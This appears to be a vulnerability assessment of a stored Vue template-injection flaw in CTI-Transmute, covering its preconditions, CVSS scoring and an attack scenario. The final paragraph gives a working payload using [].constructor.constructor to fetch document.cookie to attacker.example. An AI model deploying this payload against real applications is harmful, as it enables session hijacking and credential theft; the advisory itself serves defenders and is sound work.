CTI-Transmute EUVD-2026-54259

Exploitation requires that the CTI-Transmute instance permits creation of public conversions accessible to other users - the advisory explicitly describes the attacker creating a 'public conversion.' The Vue runtime compiler must be active (not the precompiled runtime-only build), and the application must be configured with [[ ... ]] as Vue expression delimiters. The unsafe-eval CSP exception must be present, which the advisory confirms is required by the application's Vue configuration. No authentication is required for the injection step (confirmed by CVSS PR:N). What limits broader exploitation: victim interaction is required (CVSS UI:A) - the payload only fires when a user navigates to the affected page; impact is restricted to the victim's browser origin and session, with no direct server-side code execution; and deployments that do not expose public conversion creation to unauthenticated users are not exploitable by unauthenticated attackers, though authenticated users with conversion-creation rights remain a threat vector.

The CVSS 4.0 score of 5.1 (Medium) with vector AV:N/AC:L/AT:N/PR:N/UI:A reflects genuinely low attack complexity and no privilege requirement for the injection step, but the UI:A metric (active victim interaction) and browser-scoped impact constrain the score. In practice the stored nature of the payload is a meaningful risk amplifier: the attacker injects once, and the payload executes for every subsequent visitor - including administrators - without further attacker involvement. The unsafe-eval CSP bypass removes a defense that organizations may believe is protecting them. EPSS data was not available in the provided intelligence, so exploitation probability cannot be quantified from that signal. The CVE is not listed in CISA KEV, indicating no confirmed mass or targeted exploitation has been reported. However, the advisory explicitly describes the [].constructor.constructor exploit technique and a two-stage payload approach, providing attackers with a near-ready blueprint; this is functionally equivalent to a public POC. The reporter tag of 'RCE' reflects browser-side arbitrary JavaScript execution rather than server-side RCE - an important distinction for defenders: the impact is session hijacking, API key theft, and authenticated action replay, not direct server compromise. The reference URL provided in the intelligence is incomplete (https://) and could not be verified, leaving the vendor advisory unconfirmed from external sources.

An unauthenticated attacker visits the CTI-Transmute public interface and creates a conversion whose description contains [[ [].constructor.constructor('fetch("https://attacker.example/steal?c="+document.cookie)')() ]]. The payload is stored by the application. When any user - including an administrator - subsequently opens the conversion detail page, Vue's runtime compiler evaluates the expression and executes the attacker's JavaScript in the victim's browser, exfiltrating session cookies, API keys, or tokens visible to the page, or performing authenticated API actions on the victim's behalf.